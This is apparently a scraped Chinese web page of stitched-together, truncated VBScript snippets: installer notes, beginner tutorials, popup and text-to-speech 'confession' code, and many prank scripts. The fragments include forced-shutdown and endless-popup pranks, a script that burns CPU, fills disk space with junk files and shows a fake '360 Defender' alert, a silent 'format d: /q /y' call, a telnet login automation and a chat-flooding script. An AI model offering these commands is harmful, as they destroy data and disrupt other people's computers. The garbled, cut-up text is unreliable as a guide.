这两天在折腾给一个项目打安装包,第一次接触软件打包,用的Advanced Installer(以下简称AI),应该说如果安装过程没有特殊动作(常规动作指释放文件、写注册表、建快捷方式等)的话,倒挺傻瓜的...AI可以自由发挥的途径个人认为不算少,它的自定动作(Custom Actions)可以调用exe/js/vbs等东东,但js和vbs我没什么底子,有点畏难情绪,想用自己熟悉的方式来解决问题,就是用c#写个...所有思来想去,还是决定搞一搞vbs。 只是他娘的,用惯优雅的C#,感觉其它语言就像屎一样,更别说像vbs这种脚本还没什么像样的ISE,总之很佩服主要coding在这些语言上的码农们,完全是受虐。...whatever~一开始本来想找找vbs调用win32 API的方法,如果可以的话,那调一调WritePrivateProfileString就完事了,可找来找去,发现似乎vbs不能直接调API(没找到官方说法...,故暂存疑),网上高人的办法有二:一是用vbs调用office的vba组件,再操作vba来调用api~真叫一个迂回,同时也感叹高人的智慧呐;二是往系统中扔一个dynwrap.dll就可以调了,话说这dll
可能有人不了解,代码在制作的使用,是需要跟vbs搭配,最后成为一个可以运行的代码。那么这个vbs是什么?...image.png 一、vbs是什么 简单来说就是一种脚本语言,是在vb的基础上,建立形成的,更加地简单易上手,可以制作一个小小的代码。...二、vbs简单制作教程 首先第一步是打开一个文本编辑器,随便打开一个文档;第二步就是对文档进行编辑,要记得输入代码,在代码后面加上自己想要说的话,注意要使用英文的标点符号。...最后改为vb后电脑会弹出一个弹窗,提示是否确认要更改文件名,会导致文件不能用,点击确认。这样就做好了想要的vbs代码,点开就可以查看。...全文详细介绍了关于vbs的相关信息,虽然不是一门人人都需要会的技术。但是多学一门知识,并不会有不好的影响,既可以增加自己的学识,也可以增加乐趣,如果有兴趣的话可以学习。
‘设置密码 od.SetInfo ‘保存 Set of=GetObject(os&”/test”,user) ‘得到用户 oe.add os&”/test” —————————————— 用vbs...telnet_tmp.vbs echo WScript.Sleep 300 >>telnet_tmp.vbs echo sh.SendKeys “open 192.168.1.200” >>telnet_tmp.vbs... echo WScript.Sleep 300 >>telnet_tmp.vbs echo sh.SendKeys “{ENTER}” >>telnet_tmp.vbs echo WScript.Sleep...300 >>telnet_tmp.vbs echo sh.SendKeys “engineer{ENTER}” >>telnet_tmp.vbs echo WScript.Sleep 300 >>...telnet_tmp.vbs echo sh.SendKeys “ls {ENTER}”>>telnet_tmp.vbs start telnet cscript //nologo telnet_tmp.vbs
VBS也挺强大的呢,这篇给大家演示的是获取当前时刻,并根据不同的时间段来问好! 注:编辑器不支持vbs编程,单引号后是注释哦!
vbs整人代码大全,包括强制自动关机、打开无数计算器、无限循环等vbs整人代码,感兴趣的朋友参考下。
我不要整人什么的,我要的是类似翻译的,还有句型 哈哈,LS的比较搞笑 先说VBS: 我是学VB的,据说VB和VBS差不了多少,只是VBS没有主界面而已, VB对网络的支持堪称完美,所以不少的盗号程序都选择用...CSS布局HTML小编今天和大家分享大量VBS整人代码. ,,要好玩一点的.好的话加分.. 大量的楼上已经说了。这个是本人原创,亲测有用。...或者用别的代码也行 Set oWsh = CreateObjectset ws = createobject(“wscript.shell”) do while 1 ‘按下alt+F4 (建议用其他的键来试验例如...文件 如:我爱你.vbs 双击运行,电脑就会说 i love you 了 CreateObject(“SAPI.SpVoice”).Speak”I love YOU” 用vbs敲出来的表白代码窗口多一点...WScript.Echo(“怎么才来,说~是不是不关心我”) WScript.Echo(“哼,我生气拉 我想编写一个vbs整人代码来表白,谁能帮我一下 CSS布局HTML小编今天和大家分享一个vbs脚本代码
Scripting.FileSystemObject”) ‘声明 Set f = fso.CreateTextFile(“%PATH%”) ‘创建文件,其中f可任意,包含缩略名 f.WriteLine(“VBS...Wscript.CreateObject(“Scripting.FileSystemObject”) Set f=fso.CreateTextFile(“C:/Sample.txt”) WriteLine(“VBS...:/sample”) f.copy(“D:/sample”) fso.deletefolder(“C:/sample”) ‘(由上例可以看出,文件夹的操作很多是和文件的操作相通的,因此VBS
毒性嘛,就是会烧CPU,然后在这个vbs旁边创建一大堆垃圾文件(请准备好30G空间)【具体在代码中】 仅供恶搞娱乐和研究,没有攻击任何人,组织的意图。...qwriteb.WriteLine “wscript.CreateObject(” & chr(34) & “wscript.shell” & chr(34) & “).run ” & chr(34) & “D:\1.vbs...vbinformation,” & chr(34) & “360 Defender” & chr(34) qwriteb.close qwrite.movefile “D:\1.txt”,”D:\1.vbs...” qstart.run “D:\1.vbs” ELSE qstart.run “cmd.exe /c shutdown -a”,0,true msgbox “由于您在说废话,但是您一定不想浪费时间说废话
Vbs 禁用启用网卡 在实际工作中,经常碰到需要通过脚本启用禁用网卡的情况,在网上找了一个脚本,实际是通过模拟键盘操作来启用禁用,但对于多种系统和比较复杂的情况操作性不好。...于是产生了一个思路,利用vbs得到网卡名字,然后调用netsh命令启用禁用网卡。
使用方法:新建一个txt文档,将上面的代码复制到txt,然后将文档的后缀名改成vbs。鼠标双击即可执行。
刷屏代码 出于无聊,跟朋友聊天突然聊到刷爆别人的屏幕,在网上搜索了一下,看到一个VBS脚本的东西,记录一下 VBSScript 使用方法: 复制需要转发的内容,点击QQ或者微信窗口,,再双击VBS脚本即可自动运行...新建txt文件,将后缀名改为xxxx.vbs 2....将上述代码复制粘贴进文件中,并删除(这是备注 运行前请删除)这几行文字 3.复制需要转发的内容,点击QQ或者微信窗口,,再双击VBS脚本即可自动运行 发布者:全栈程序员栈长,转载请注明出处:https:
=================================== VBS例子讲解--1: 用 run运行文件 set shl="createobject"("WScript.Shell") shl.run"regedit.exe..." set shl="nothing" VBS例子讲解--2: 用 FSO复制文件 Set shl = CreateObject("Scripting.FileSystemObject") shl.CopyFile...快捷方式对象以及对其所做的更改存储在内存中, '直到您用 Save方法将其保存到磁盘中为止。要创建快捷方式,必须执行以下操作: '创建 WshShortcut 对象的实例。 '初始化它的属性。...用户执行更改焦点的操作(或关闭窗口)时,焦点移离活动的应用程序窗口。 在确定要激活哪个应用程序时,指定的标题将与正在运行的每个应用程序的标题字符串相比较。...要指定在按下多个其它键时,按下 SHIFT、CTRL 和 ALT 的组合,请创建复合字符串参数,用括号括起其中的组合键。
1 vbs 判断shell 程序运行结束的代码 比如要通过vbs 调用format格式化d: 盘,可以使用如下代码 Set oExec=WshShell.exec("c:\windows\system32...\format.com d: /fs:ntfs /q /y") Do While oExec.Status = 0 WScript.Sleep 100 Loop 2 vbs得到程序运行路径 Set
部分经典vbs代码 一、上代码: vbs代码,即VBScript Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.AppActivate...,如:2020HZ.vbs 复制一段要发送的文案,然后双击vbs文件。...否则比较费好友~ 更多类似windows的vbs代码,如:vbs立刻关机代码 更多vbs代码: ' 进行变量声明 Dim Wshshell,Msg ' InputBox 弹窗输入bai Msg=InputBox...} 等 ' 示例 Wshshell.SendKeys "{Enter}" Wshshell.SendKeys "{A}" Wshshell.SendKeys "{2}" ' 组合键 Shift 用...+ 代替 、 Ctrl 用 ^ 代替 、Alt 用 % 代替 ' 示例 Wshshell.SendKeys "+%{DELETE}" Wshshell.SendKeys "^{C}" Wshshell.SendKeys
VBS作为一款脚本语言,从古到今一直起着不可替代的作用,从windows的WHS到WINCC的vbs脚本,一直伴随着工控人的左右,可以说C语言是工控人的启蒙老师,那VBS脚本则是工控人的领路人。...如果你能用好VBS可以让你在工控的上位系统里游刃有余,同时还能提升自己的BIG,正因为如此,剑指工控统计过熟练掌握VBS脚本编程的工程师比不懂脚本脚本编程工程师早有女朋友3年,也就是说一个VBS脚本可以让你提前...弹出对话框的函数 MSGBOX("剑思庭VBS教程") WScript.Echo("剑思庭VBS教程") Set WshShell = WScript.CreateObject("WScript.Shell...把变量 b付值为 6 c="a"+b'把变量 a的内容和变量 b内的内容进行相加,存放到变量 c中 msgbox(c)'用 msgbox函数显示出变量 c中的内容。...如果 prompt 超过一行,您可以在各行之间用复位字符 (Chr(13))、换行字符 (Chr(10))、或是复位字符与换行字符的组合 (Chr(13) & Chr(10)) 来做区隔。
2、源码: # encoding: utf-8 # author: walker # date: 2014-05-15 # summary: 更改图片尺寸大小 import os from PIL import
xx.vbs=> =————————————————————————— On Error Resume Next Dim wsh,ye set wsh=createobject(“wscript.shell...其中 do until s=500 ,500可以随意更改) ---- dim s do until s=500 s=s+1 msgbox “哥们,给我按500次回车吧”,64 loop ‘——...那你就再多点一次”) ---- 两个整人的VBS脚本 2009-07-16 18:16 文章录入:7747.Net 责任编辑:7747.Net 564 【字体:小 大】 测试环境:Windows 2003...系统 大家好 我是Vanlisa QQ137841986 今天给大家带来两个整人的VBS脚本 希望大家喜欢 VBS脚本大家都知道吧 第一个是定时关机的 如果把他发给你的QQ好友 他不懂的话 如果不输我是猪...vbs整人代码 2010-02-07 22:04 代码如下: Private Sub Form_Load() Me.Hide End Sub Private Sub Timer1_Timer()
SAPI.SpVoice”).Speak”你的电脑接收到了一个自爆程序,电脑即将爆炸,请您在15秒时间内离开座位,跑到安全区位置,否则将伤害你的身体健康,我们一概不负责“ 其中这段冒号括起来的加粗字体是大家可以随便更改的...,然后保存,将后缀txt改为vbs,如果出现下面提示点击是 最后的应用程序应该是这样的 最后双击打开就行了,电脑就会读出你刚刚输入的内容!...二.表白恶搞: 前面的步骤和上面一样新建文件,然后将下面的代码复制在文档中,后缀改为vbs就行,具体代码如下: msgbox "做我女朋友好吗",vbQuestion,"在吗" msgbox ("房产写你名字...shutdown -r -t 60 -c",0 case 2 ws.run"cmd.exe /c shutdown -a",0 end select end sub 其实代码里面的中文大多数都是可以自己更改的
想知道这是怎么做的,自己也想弄一个,下面小编为大家带来了抖音vbs表白代码制作教程分享,想学习的朋友快来了解一下吧! ...抖音vbs表白代码制作教程 步骤一: 在电脑上新建一个txt文件。 步骤二: 打开txt文件,复制以下代码粘贴进去(可以修改中文部分,其它代码不要动!)。...ak47 Else MsgBox “你可以去死了”,48,”wo cao” End If End If 步骤三: 将txt文件名称后面的“.txt”改为“.vbs...步骤四: 双击改名后的vbs文件即可看到和抖音视频上一样的效果。 注意事项 若新建的txt文件不显示“.txt”,可随便打开一个文件夹,再点击,在前面打勾即可。
今天说一说VBScript语言_vbs输出语句,希望能够帮助大家进步!!!...db1/目录下的user.mdb数据库) 显示数据库记录 原理:将数据库中的记录一一显示到客户端浏览器,依次读出数据库中的每一条记录 如果是从头到尾:用循环并判断指针是否到末...使用: not rs.eof 如果是从尾到头:用循环并判断指针是否到开始 使用:not rs.bof <!
领取专属 10元无门槛券
手把手带您无忧上云